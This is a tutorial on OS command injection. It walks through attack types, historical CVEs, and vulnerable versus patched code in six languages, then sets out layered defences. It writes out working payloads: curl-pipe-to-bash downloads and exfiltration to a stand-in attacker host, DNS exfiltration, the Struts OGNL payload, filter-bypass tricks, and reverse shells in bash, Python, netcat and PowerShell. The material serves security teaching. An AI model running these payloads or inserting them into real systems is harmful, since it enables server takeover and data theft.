Command Injection Explained: When Your Server Becomes the Attacker's Terminal

Idle

Command Injection: When Your Server Hands the Attacker a Root Shell on a Silver Platter

Hey there, security warriors and shell enthusiasts! Welcome to the ultimate guide on Command Injection – one of the most devastating vulnerabilities in the entire security landscape. If SQL Injection is giving a stranger the keys to your database, Command Injection is giving them the keys to your ENTIRE SERVER, plus the admin password, and a thank-you note. Imagine calling tech support and the operator accidentally gives you remote desktop access to their CEO's machine. That's essentially what Command Injection does – except it's your web application doing the giving, and the "tech support" is a few characters in a URL parameter. We're talking full operating system access: reading files, installing malware, pivoting to other machines, spinning up crypto miners, or just plain rm -rf / for the chaos enthusiasts. This vulnerability has been behind some of the most catastrophic breaches in history, and yet developers keep making the same mistakes. So grab your favorite terminal emulator, put on your hoodie (it's required for security topics, obviously), and let's explore the terrifying world of OS Command Injection!


What is Command Injection? (The OS-Level Nightmare)

Let's start with the fundamentals before we go full hacker mode. Command Injection (also called OS Command Injection or Shell Injection) is a vulnerability that allows an attacker to execute arbitrary operating system commands on the server hosting an application. It occurs when an application passes unsanitized user input to a system shell (like bash, cmd.exe, or sh) as part of a command.

The Core Problem:
Many applications need to interact with the operating system – pinging a server, converting an image, processing a file, running a script, or calling a system utility. When developers construct these OS commands using user-supplied data without proper sanitization, attackers can inject additional commands that the shell happily executes.

Simple Example:
Imagine a web app that lets users ping a host to check if it's online:

import os
def ping(host):
    os.system(f"ping -c 4 {host}")

If the user enters: google.com
The command is: ping -c 4 google.com ✅ Works fine.

If the attacker enters: google.com; cat /etc/passwd
The command becomes: ping -c 4 google.com; cat /etc/passwd 💀

The semicolon (;) terminates the first command and starts a new one. The server now dumps its password file. The attacker didn't need credentials, didn't need SSH access, didn't need anything except a text input field and knowledge of shell metacharacters.

Why It's Catastrophic:

Command Injection isn't just a vulnerability – it's a full system compromise. Unlike SQL Injection which is limited to the database, Command Injection gives attackers direct access to the operating system. The impact includes:

  • Remote Code Execution (RCE): Run ANY command as the web server user
  • Data Exfiltration: Read any file the server user can access ( /etc/passwd , config files, source code, private keys)
  • Server Takeover: Install backdoors, create new users, modify system files
  • Lateral Movement: Pivot to other servers on the internal network
  • Denial of Service: Crash the server, fill disk space, kill processes
  • Cryptocurrency Mining: Turn your server into a money-making machine (for the attacker)
  • Ransomware Deployment: Encrypt everything and demand payment
  • Supply Chain Attacks: Modify application code to attack end users

Historical Context:
Command Injection falls under OWASP's A03:2021 – Injection category, alongside SQL Injection and others. It's been a critical vulnerability since the early days of CGI scripts in the 1990s, when Perl scripts would call system commands with user input. The Shellshock bug (CVE-2014-6271) demonstrated how shell-level vulnerabilities can have apocalyptic consequences. Despite decades of awareness, it remains prevalent because developers still shell out to OS commands when language-native alternatives exist.


How Shell Metacharacters Work: The Attacker's Alphabet

Before diving into attack types, you need to understand the shell metacharacters that make Command Injection possible. These are special characters that shells interpret as command separators, redirectors, or modifiers.

Linux/Unix Shell Metacharacters

CharacterPurposeExample
;Command separatorcmd1; cmd2 (runs both)
&&AND operatorcmd1 && cmd2 (cmd2 runs if cmd1 succeeds)
||OR operatorcmd1 || cmd2 (cmd2 runs if cmd1 fails)
|Pipecmd1 | cmd2 (pipe output)
`Command substitution`cmd` (execute and substitute)
$()Command substitution$(cmd) (modern form)
>Output redirectcmd > file (overwrite file)
>>Append redirectcmd >> file (append to file)
<Input redirectcmd < file (read from file)
\nNewlinecmd1\ncmd2 (new command)
#Commentcmd # ignored (ignore rest)

Windows Command Shell Metacharacters

CharacterPurposeExample
&Command separatorcmd1 & cmd2 (runs both)
&&AND operatorcmd1 && cmd2
||OR operatorcmd1 || cmd2
|Pipecmd1 | cmd2
>Output redirectcmd > file
>>Append redirectcmd >> file
^Escape character^& (literal &)

Why This Matters

An attacker doesn't need fancy tools. They just need to know that a semicolon, pipe, or backtick can break out of the intended command and inject their own. It's the shell equivalent of SQL's ' OR 1=1'-- – a few special characters that change everything.


Types of Command Injection: The Full Arsenal

1. Direct (In-Band) Command Injection

Concept:
The most straightforward type. The attacker injects commands and sees the output directly in the application's response. The application takes user input, passes it to a shell command, and returns the result.

Example Scenario:
A DNS lookup tool on a web app:

Input: example.com
Command: nslookup example.com
Output: Server: 8.8.8.8, Address: 93.184.216.34

Attack:

Input: example.com; whoami
Command: nslookup example.com; whoami
Output: Server: 8.8.8.8, Address: 93.184.216.34
        www-data

The attacker sees www-data – the web server's username. Now they know:

  • The OS is Linux
  • The web server runs as www-data
  • Command injection works and output is visible

Escalation:

Input: example.com; cat /etc/passwd
Input: example.com; ls -la /var/www/html
Input: example.com; env  (dump environment variables – often contains API keys, DB passwords)
Input: example.com; curl attacker.com/shell.sh | bash  (download and execute reverse shell)

2. Blind (Out-of-Band) Command Injection

Concept:
The application doesn't return command output in the response. The attacker must infer success through side effects – timing delays, DNS lookups, HTTP callbacks, or file creation.

a) Time-Based Blind Injection

Concept:
Inject a command that causes a measurable delay. If the response takes longer, the injection worked.

Example:

Input: example.com; sleep 10

If the response takes 10 seconds longer than normal, the sleep command executed successfully.

Data Exfiltration via Timing:

Input: example.com; if [ $(whoami | cut -c1) = "w" ]; then sleep 5; fi

If there's a 5-second delay, the first character of the username is w. Repeat for each character. Slow? Yes. Effective? Absolutely.

b) DNS-Based Out-of-Band Exfiltration

Concept:
Use DNS lookups to exfiltrate data to an attacker-controlled DNS server. Even firewalled servers usually allow DNS.

Example:

Input: example.com; nslookup $(whoami).attacker.com

The server performs a DNS lookup for www-data.attacker.com. The attacker's DNS server logs the query, revealing the username.

Full File Exfiltration:

Input: example.com; curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)

c) HTTP Callback (OAST)

Concept:
Trigger an HTTP request to an attacker-controlled server. Tools like Burp Collaborator or interactsh make this easy.

Example:

Input: example.com; curl http://attacker-collaborator.com/$(whoami)

The attacker's server logs: GET /www-data HTTP/1.1 – confirming both injection and the username.

3. Argument Injection (Parameter Injection)

Concept:
Instead of injecting new commands, the attacker manipulates arguments passed to the existing command. This is subtler and often bypasses basic sanitization that only blocks command separators.

Example:
An application that compresses files:

os.system(f"tar czf archive.tar.gz {user_input}")

Attack:

Input: --checkpoint=1 --checkpoint-action=exec=sh shell.sh

The tar command has a --checkpoint-action feature that can execute arbitrary commands. No semicolons, no pipes – just command-specific arguments.

Another Example (curl):

os.system(f"curl {user_url}")

Attack:

Input: -o /var/www/html/shell.php http://attacker.com/webshell.php

The -o flag tells curl to save the response to a file. The attacker just uploaded a webshell.

4. Indirect Command Injection

Concept:
The malicious input doesn't go directly to a command. Instead, it's stored somewhere (file, database, environment variable) and later read by a process that passes it to a shell.

Example:
An application saves user preferences to a config file:

user_theme=dark; curl attacker.com/shell.sh | bash

Later, a cron job sources this config file:

source /app/config/user_prefs.conf

The injected command executes when the cron job runs – possibly with elevated privileges.


Real-World Command Injection Catastrophes

1. Shellshock (CVE-2014-6271) – The Internet's Worst Day

What Happened:
Shellshock was a vulnerability in Bash itself. Bash allowed code execution through specially crafted environment variables. Any application that passed user-controlled data to Bash (via CGI scripts, SSH, DHCP, etc.) was vulnerable.

The Payload:

() { :; }; /bin/cat /etc/passwd

This exploited Bash's function definition parsing. When Bash saw an environment variable starting with () {, it would parse the function AND execute any commands after the closing }.

Impact:

  • Affected virtually every Linux/Unix server running Bash (billions of devices)
  • Exploited within hours of disclosure
  • CGI-based web servers were trivially exploitable via HTTP headers:
    User-Agent: () { :; }; /bin/cat /etc/passwd
    
  • Botnets immediately weaponized it for DDoS, cryptocurrency mining, and data theft
  • CVSS Score: 10.0 (Maximum severity)

Lesson:
Command Injection isn't just about your code – it can exist in the shell itself. Keep systems patched and minimize shell usage.

2. Equifax Data Breach (2017)

What Happened:
While primarily attributed to an Apache Struts vulnerability (CVE-2017-5638), the exploit chain involved command injection through crafted Content-Type headers that allowed arbitrary OS command execution on Equifax's web servers.

The Payload:

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Impact:

  • 147 million Americans' personal data stolen (SSNs, birth dates, addresses, driver's license numbers)
  • $700 million settlement
  • CEO, CIO, and CSO all resigned
  • One of the largest data breaches in history

Lesson:
Patch your frameworks. The Struts vulnerability was disclosed months before the breach. Command injection through expression language evaluation is real and devastating.

3. Cisco Prime Infrastructure (CVE-2018-15379)

What Happened:
Cisco's network management platform had a command injection vulnerability in the file upload functionality. An authenticated attacker could inject OS commands via crafted filenames.

Impact:

  • Remote code execution as root
  • Full control over the network management server
  • Potential access to every device managed by the platform

Lesson:
Even network security vendors can ship vulnerable code. Never trust filenames, URLs, or any user-controlled data in shell commands.

4. Git (CVE-2020-26233) – Argument Injection

What Happened:
Visual Studio Code's Git integration had a vulnerability where repository names containing special characters could lead to argument injection in Git commands.

Impact:

  • Arbitrary code execution when opening a malicious repository
  • Affected millions of developers using VS Code

Lesson:
Argument injection is real. Even trusted tools like Git can be weaponized through crafted input.

5. ImageMagick "ImageTragick" (CVE-2016-3714)

What Happened:
ImageMagick, the widely-used image processing library, had a command injection vulnerability in its delegate handling. Specially crafted image files could trigger OS command execution.

The Payload (disguised as an image):

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

Impact:

  • Any application accepting image uploads that used ImageMagick was vulnerable
  • Affected millions of websites (WordPress, Drupal, forums, social media platforms)
  • Remote code execution through uploading a "picture"

Lesson:
File processing libraries are attack surfaces. Command injection can happen through file content, not just user input fields.


Vulnerable Code: The Hall of Shame

Let's dissect real vulnerable code across multiple languages and frameworks, showing exactly why they're dangerous and how to fix them.

Example 1: PHP – The System Call Trap

Vulnerable Code

<?php
// Simple ping utility
$host = $_GET['host'];

// Direct shell execution with user input – DANGER!
$output = shell_exec("ping -c 4 " . $host);

echo "<pre>$output</pre>";
?>

Why It's Vulnerable

The $host parameter is directly concatenated into the shell command. PHP's shell_exec() passes the entire string to /bin/sh, which interprets metacharacters.

Attack

GET /ping.php?host=8.8.8.8;cat%20/etc/passwd

Resulting command:

ping -c 4 8.8.8.8; cat /etc/passwd

The server pings Google DNS AND dumps the password file.

More Dangerous Attacks

?host=8.8.8.8; wget http://attacker.com/backdoor.php -O /var/www/html/backdoor.php
?host=8.8.8.8; curl attacker.com/shell.sh | bash
?host=8.8.8.8; nc -e /bin/bash attacker.com 4444    (reverse shell)
?host=8.8.8.8; echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

Patched Code (Input Validation + escapeshellarg)

<?php
$host = $_GET['host'] ?? '';

// Validate: only allow valid hostnames/IPs
if (!filter_var($host, FILTER_VALIDATE_IP) && 
    !preg_match('/^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$/', $host)) {
    die("Invalid host");
}

// escapeshellarg wraps the argument in single quotes and escapes existing quotes
$output = shell_exec("ping -c 4 " . escapeshellarg($host));

echo "<pre>" . htmlspecialchars($output) . "</pre>";
?>

What Changed

  • Input validation with whitelist (IP address or hostname pattern)
  • escapeshellarg() wraps input in quotes, neutralizing metacharacters
  • htmlspecialchars() on output to prevent XSS
  • Even if validation is bypassed, escapeshellarg() provides defense-in-depth

Best Practice: Avoid Shell Entirely

<?php
$host = $_GET['host'] ?? '';

if (!filter_var($host, FILTER_VALIDATE_IP)) {
    die("Invalid IP address");
}

// Use PHP's built-in network functions instead of shell
$socket = @fsockopen($host, 80, $errno, $errstr, 5);
if ($socket) {
    echo "Host $host is reachable";
    fclose($socket);
} else {
    echo "Host $host is not reachable: $errstr";
}
?>

No shell involved, no injection possible.


Example 2: Python – The os.system Disaster

Vulnerable Code

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/convert')
def convert_image():
    filename = request.args.get('file')
    output_format = request.args.get('format', 'png')
    
    # Shell command with user input – DANGER!
    os.system(f"convert /uploads/{filename} /output/result.{output_format}")
    
    return "Conversion complete!"

Attack

GET /convert?file=image.jpg;whoami&format=png

Resulting command:

convert /uploads/image.jpg;whoami /output/result.png

Even Worse:

GET /convert?file=image.jpg;rm%20-rf%20/&format=png

Patched Code (subprocess with list arguments)

from flask import Flask, request
import subprocess
import re

app = Flask(__name__)

ALLOWED_FORMATS = {'png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp'}

@app.route('/convert')
def convert_image():
    filename = request.args.get('file', '')
    output_format = request.args.get('format', 'png')
    
    # Validate filename: only alphanumeric, dots, hyphens, underscores
    if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
        return "Invalid filename", 400
    
    # Whitelist allowed formats
    if output_format not in ALLOWED_FORMATS:
        return "Invalid format", 400
    
    # Use subprocess with list arguments – NO SHELL!
    try:
        result = subprocess.run(
            ['convert', f'/uploads/{filename}', f'/output/result.{output_format}'],
            capture_output=True,
            text=True,
            timeout=30  # Prevent hanging
        )
        if result.returncode != 0:
            return f"Conversion failed: {result.stderr}", 500
        return "Conversion complete!"
    except subprocess.TimeoutExpired:
        return "Conversion timed out", 504

What Changed

  • subprocess.run() with a list of arguments instead of os.system() with a string
  • No shell=True – each list element is passed as a separate argument, not parsed by a shell
  • Input validation with regex whitelist
  • Output format validated against an allowlist
  • Timeout to prevent DoS

Critical Rule

# DANGEROUS – shell=True passes through /bin/sh
subprocess.run(f"convert {filename}", shell=True)

# SAFE – list arguments bypass shell parsing entirely
subprocess.run(['convert', filename])

The difference between shell=True and shell=False (default) is literally the difference between "hackable" and "not hackable."


Example 3: Node.js – The child_process Pitfall

Vulnerable Code

const express = require('express');
const { exec } = require('child_process');

const app = express();

app.get('/lookup', (req, res) => {
  const domain = req.query.domain;
  
  // exec() uses shell – DANGER!
  exec(`nslookup ${domain}`, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).send(`Error: ${stderr}`);
    }
    res.send(`<pre>${stdout}</pre>`);
  });
});

app.listen(3000);

Attack

GET /lookup?domain=example.com;cat%20/etc/passwd

The exec() function spawns a shell (/bin/sh -c) and passes the entire string to it.

Patched Code (execFile with arguments)

const express = require('express');
const { execFile } = require('child_process');

const app = express();

// Validate domain name
function isValidDomain(domain) {
  return /^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$/.test(domain) && 
         domain.length <= 253;
}

app.get('/lookup', (req, res) => {
  const domain = req.query.domain;
  
  if (!domain || !isValidDomain(domain)) {
    return res.status(400).send('Invalid domain');
  }
  
  // execFile() does NOT use a shell – arguments are passed directly
  execFile('nslookup', [domain], { timeout: 10000 }, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).send('Lookup failed');
    }
    // Escape output to prevent XSS
    const escaped = stdout.replace(/[<>&"']/g, c => 
      ({'<':'&lt;','>':'&gt;','&':'&amp;','"':'&quot;',"'":'&#39;'}[c]));
    res.send(`<pre>${escaped}</pre>`);
  });
});

app.listen(3000);

What Changed

  • execFile() instead of exec() – no shell involved
  • Arguments passed as array, not concatenated into command string
  • Input validation with regex
  • Output escaping to prevent XSS
  • Timeout to prevent hanging

Node.js Shell Functions Danger Level

// DANGEROUS – spawns a shell
const { exec } = require('child_process');
exec(`command ${userInput}`);         // Shell injection possible

// DANGEROUS – shell: true enables shell
const { spawn } = require('child_process');
spawn('command', [userInput], { shell: true });  // Shell injection possible

// SAFE – no shell, arguments are separate
const { execFile } = require('child_process');
execFile('command', [userInput]);     // No shell, no injection

// SAFE – no shell by default
const { spawn } = require('child_process');
spawn('command', [userInput]);        // No shell, no injection

Example 4: Java – Runtime.exec() Misconceptions

Vulnerable Code

import java.io.*;
import javax.servlet.http.*;

public class PingServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws IOException {
        
        String host = request.getParameter("host");
        
        // Runtime.exec() with string – uses shell on some systems
        Process process = Runtime.getRuntime().exec("ping -c 4 " + host);
        
        BufferedReader reader = new BufferedReader(
            new InputStreamReader(process.getInputStream()));
        
        PrintWriter out = response.getWriter();
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line);
        }
    }
}

The Java Nuance

Java's Runtime.exec(String) tokenizes the command string by whitespace. This means ; cat /etc/passwd might not work directly because Java doesn't use a shell. HOWEVER:

  1. On some systems/versions, shell metacharacters ARE processed
  2. If the developer uses Runtime.exec(String[]) with {"/bin/sh", "-c", command} , it's fully vulnerable
  3. Arguments with spaces can still cause unexpected behavior

More Commonly Vulnerable Pattern

// This is definitely vulnerable – explicitly invokes shell
String[] cmd = {"/bin/sh", "-c", "ping -c 4 " + host};
Process process = Runtime.getRuntime().exec(cmd);

Patched Code (ProcessBuilder with argument list)

import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;

public class PingServlet extends HttpServlet {
    
    private static final Pattern IP_PATTERN = 
        Pattern.compile("^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$");
    
    private static final Pattern DOMAIN_PATTERN = 
        Pattern.compile("^[a-zA-Z0-9][a-zA-Z0-9\\-\\.]+[a-zA-Z0-9]$");
    
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws IOException {
        
        String host = request.getParameter("host");
        
        // Strict validation
        if (host == null || 
            (!IP_PATTERN.matcher(host).matches() && !DOMAIN_PATTERN.matcher(host).matches())) {
            response.sendError(400, "Invalid host");
            return;
        }
        
        // ProcessBuilder with separate arguments – no shell
        ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", host);
        pb.redirectErrorStream(true);
        Process process = pb.start();
        
        BufferedReader reader = new BufferedReader(
            new InputStreamReader(process.getInputStream()));
        
        PrintWriter out = response.getWriter();
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(escapeHtml(line));
        }
        
        // Wait for process with timeout
        try {
            process.waitFor(30, java.util.concurrent.TimeUnit.SECONDS);
        } catch (InterruptedException e) {
            process.destroyForcibly();
        }
    }
    
    private String escapeHtml(String input) {
        return input.replace("&", "&amp;")
                     .replace("<", "&lt;")
                     .replace(">", "&gt;")
                     .replace("\"", "&quot;");
    }
}

What Changed

  • ProcessBuilder with argument list instead of single command string
  • No /bin/sh -c invocation – arguments passed directly to the executable
  • Strict input validation with regex patterns
  • Process timeout to prevent hanging
  • HTML escaping on output

Example 5: C# (.NET) – Process.Start() Pitfalls

Vulnerable Code

using System.Diagnostics;
using Microsoft.AspNetCore.Mvc;

[ApiController]
[Route("api/[controller]")]
public class NetworkController : ControllerBase
{
    [HttpGet("ping")]
    public IActionResult Ping(string host)
    {
        // Constructing command with user input – DANGER!
        var process = new Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = $"/c ping {host}";
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.UseShellExecute = false;
        process.Start();
        
        var output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        
        return Ok(output);
    }
}

Attack

GET /api/network/ping?host=8.8.8.8%26net%20user%20hacker%20P%40ssw0rd%20/add

Decoded: host=8.8.8.8&net user hacker P@ssw0rd /add

Result: Pings 8.8.8.8 AND creates a new Windows user account named "hacker."

Patched Code

using System.Diagnostics;
using System.Text.RegularExpressions;
using Microsoft.AspNetCore.Mvc;

[ApiController]
[Route("api/[controller]")]
public class NetworkController : ControllerBase
{
    private static readonly Regex IpRegex = new Regex(
        @"^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$",
        RegexOptions.Compiled);
    
    private static readonly Regex DomainRegex = new Regex(
        @"^[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]$",
        RegexOptions.Compiled);

    [HttpGet("ping")]
    public IActionResult Ping(string host)
    {
        // Strict validation
        if (string.IsNullOrWhiteSpace(host) || 
            (!IpRegex.IsMatch(host) && !DomainRegex.IsMatch(host)))
        {
            return BadRequest("Invalid host");
        }
        
        // Call ping directly – NOT through cmd.exe
        var process = new Process();
        process.StartInfo.FileName = "ping";
        process.StartInfo.ArgumentList.Add("-n");  // ArgumentList prevents injection
        process.StartInfo.ArgumentList.Add("4");
        process.StartInfo.ArgumentList.Add(host);
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.CreateNoWindow = true;
        process.Start();
        
        var output = process.StandardOutput.ReadToEnd();
        
        if (!process.WaitForExit(30000)) // 30 second timeout
        {
            process.Kill();
            return StatusCode(504, "Ping timed out");
        }
        
        return Ok(output);
    }
}

What Changed

  • Call ping directly instead of through cmd.exe /c
  • ArgumentList.Add() passes each argument separately (no shell parsing)
  • Strict regex validation for IPs and domains
  • Process timeout to prevent resource exhaustion
  • No shell metacharacter interpretation possible

Example 6: Ruby – Backtick and system() Traps

Vulnerable Code

require 'sinatra'

get '/whois' do
  domain = params[:domain]
  
  # Backticks invoke shell – DANGER!
  result = `whois #{domain}`
  
  "<pre>#{result}</pre>"
end

Ruby's backtick operator invokes a shell, making this trivially exploitable:

GET /whois?domain=example.com;id

Patched Code

require 'sinatra'
require 'open3'

DOMAIN_REGEX = /\A[a-zA-Z0-9][a-zA-Z0-9\-\.]+[a-zA-Z0-9]\z/

get '/whois' do
  domain = params[:domain]
  
  unless domain&.match?(DOMAIN_REGEX) && domain.length <= 253
    halt 400, 'Invalid domain'
  end
  
  # Open3.capture2 with array arguments – no shell
  stdout, status = Open3.capture2('whois', domain)
  
  unless status.success?
    halt 500, 'Whois lookup failed'
  end
  
  "<pre>#{Rack::Utils.escape_html(stdout)}</pre>"
end

Ruby Shell Execution Danger Levels

# DANGEROUS – all invoke a shell
`command #{input}`                  # Backticks
system("command #{input}")          # system() with string
%x(command #{input})                # Percent-x notation
exec("command #{input}")            # exec with string
IO.popen("command #{input}")        # IO.popen with string

# SAFE – no shell invocation
system("command", input)            # system() with separate args
Open3.capture2("command", input)    # Open3 with separate args
IO.popen(["command", input])        # IO.popen with array

Advanced Command Injection Techniques

1. Filter Bypass Techniques

When WAFs or input filters block common metacharacters, attackers get creative.

Bypassing Space Filters

If spaces are filtered:

# Using $IFS (Internal Field Separator – defaults to space)
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

# Using tab (%09)
cat%09/etc/passwd

# Using brace expansion
{cat,/etc/passwd}

# Using < redirect
cat</etc/passwd

Bypassing Keyword Filters

If words like cat, ls, whoami are blacklisted:

# String concatenation
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd

# Environment variable manipulation
w${not_exist}hoami

# Base64 encoding
echo d2hvYW1p | base64 -d | bash    # whoami encoded

# Hex encoding
echo -e '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' | bash

# Wildcard usage
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd

# Using other commands
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
tac /etc/passwd
nl /etc/passwd
sort /etc/passwd

Bypassing Semicolon Filters

# Newline instead of semicolon
command1%0acommand2

# AND/OR operators
command1 && command2
command1 || command2

# Pipe
command1 | command2

# Command substitution
$(command2)
`command2`

# Background execution
command1 & command2

2. Reverse Shell Techniques

Once command injection is confirmed, attackers often establish a persistent reverse shell.

Bash Reverse Shell

bash -i >& /dev/tcp/attacker.com/4444 0>&1

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat Reverse Shell

nc -e /bin/sh attacker.com 4444

PowerShell Reverse Shell (Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

3. Data Exfiltration Without Direct Output

When command output isn't visible:

Via DNS

nslookup $(cat /etc/hostname).attacker.com
dig $(whoami).attacker.com
host $(cat /etc/passwd | head -1 | base64).attacker.com

Via HTTP

curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64 | tr -d '\n')
wget -q -O- "http://attacker.com/log?$(id)"

Via File Write

# Write to web-accessible directory
cat /etc/passwd > /var/www/html/data.txt

4. Windows-Specific Techniques

Windows Command Shell injection differs from Unix:

& whoami
| whoami
&& whoami
|| whoami

REM Reading files:
& type C:\Windows\win.ini
& type C:\Users\Administrator\Desktop\credentials.txt

REM Network enumeration:
& ipconfig /all
& net user
& net localgroup administrators
& systeminfo

REM Creating users:
& net user hacker Password123! /add
& net localgroup administrators hacker /add

Comprehensive Defense Strategy

Layer 1: Avoid Shell Commands Entirely (The Best Defense)

The single most effective mitigation is to NOT USE SHELL COMMANDS. Most operations that developers shell out for have library alternatives:

Instead of...Use...
ping via shellLanguage-native ICMP library
curl/wget via shellHTTP client library (requests, axios, HttpClient)
convert (ImageMagick)Image processing library (Pillow, Sharp, ImageSharp)
whois via shellWhois library/API
nslookup via shellDNS resolution library (dns module, dnspython)
tar/zip via shellArchive library (zipfile, archiver, SharpZipLib)
ffmpeg via shellVideo processing library or safe wrapper
File operations via shellLanguage-native file API

Rule of Thumb: If a library exists, use it. Libraries operate in-process and don't invoke shells.

Layer 2: Use Safe APIs When You Must Execute Commands

If you absolutely must run external commands:

Python

import subprocess

# SAFE: List arguments, no shell
subprocess.run(['command', 'arg1', 'arg2'], capture_output=True, timeout=30)

# DANGEROUS: Never do this
subprocess.run(f'command {user_input}', shell=True)

Node.js

const { execFile } = require('child_process');

// SAFE: execFile doesn't use shell
execFile('command', ['arg1', 'arg2'], callback);

// DANGEROUS: Never do this
const { exec } = require('child_process');
exec(`command ${userInput}`, callback);

Java

// SAFE: ProcessBuilder with argument list
ProcessBuilder pb = new ProcessBuilder("command", "arg1", "arg2");

// DANGEROUS: Never do this
Runtime.getRuntime().exec("/bin/sh -c command " + userInput);

PHP

// If you must use shell commands:
// escapeshellarg() wraps in single quotes
$safe = escapeshellarg($userInput);
// escapeshellcmd() escapes metacharacters
$safe = escapeshellcmd($userInput);

// But really, don't use shell commands.

C#

// SAFE: ArgumentList with separate arguments
var psi = new ProcessStartInfo("command");
psi.ArgumentList.Add("arg1");
psi.ArgumentList.Add(userInput);

// DANGEROUS: Never do this
Process.Start("cmd.exe", $"/c command {userInput}");

Layer 3: Input Validation (Defense-in-Depth)

Even with safe APIs, validate input:

import re

ALLOWED_HOSTNAME = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,251}[a-zA-Z0-9]$')
ALLOWED_FILENAME = re.compile(r'^[a-zA-Z0-9._-]+$')
ALLOWED_IP = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')

def validate_input(value, pattern):
    if not pattern.match(value):
        raise ValueError(f"Invalid input: {value}")
    return value

Validation Rules:

  • Whitelist approach: Only allow known-good characters
  • Reject, don't sanitize: It's safer to reject bad input than try to clean it
  • Type-check: If expecting a number, cast to integer
  • Length limits: Cap input length to reasonable values
  • No special characters: Strip or reject ; , | , & , $ , ` , ( , ) , { , } , < , > , \n , \r

Layer 4: Principle of Least Privilege

Even if injection happens, limit the damage:

  • Run applications as non-root users with minimal permissions
  • Use containers (Docker) with read-only filesystems
  • Drop capabilities: --cap-drop ALL in Docker
  • Use seccomp profiles to restrict system calls
  • chroot jails to limit filesystem access
  • Network segmentation to prevent lateral movement
  • SELinux/AppArmor policies to restrict process actions
# Example Dockerfile with security hardening
FROM node:20-alpine

# Create non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

# Set working directory
WORKDIR /app
COPY . .

# Install dependencies
RUN npm ci --only=production

# Switch to non-root user
USER appuser

# Read-only filesystem
# (set via docker run --read-only)

Layer 5: WAF and Runtime Protection

  • Web Application Firewall (WAF): Block requests containing shell metacharacters
  • Runtime Application Self-Protection (RASP): Monitor and block shell invocations at runtime
  • System call monitoring: Use tools like Falco to detect unexpected command execution
  • Network monitoring: Alert on unexpected outbound connections (reverse shells)

Layer 6: Security Testing

Static Analysis (SAST)

Look for dangerous function calls:

# Find dangerous PHP functions
grep -rn 'shell_exec\|system\|exec\|passthru\|popen\|proc_open' *.php

# Find dangerous Python patterns
grep -rn 'os\.system\|os\.popen\|subprocess.*shell=True\|commands\.' *.py

# Find dangerous Node.js patterns
grep -rn 'child_process.*exec\b\|\.exec(' *.js

# Find dangerous Java patterns
grep -rn 'Runtime.*exec\|ProcessBuilder' *.java

# Find dangerous Ruby patterns
grep -rn 'system\|exec\|%x\|IO\.popen' *.rb

Dynamic Analysis (DAST)

# Using commix – automated command injection tool
commix --url="http://target.com/ping?host=INJECT_HERE"

# With POST data
commix --url="http://target.com/api" --data="host=INJECT_HERE"

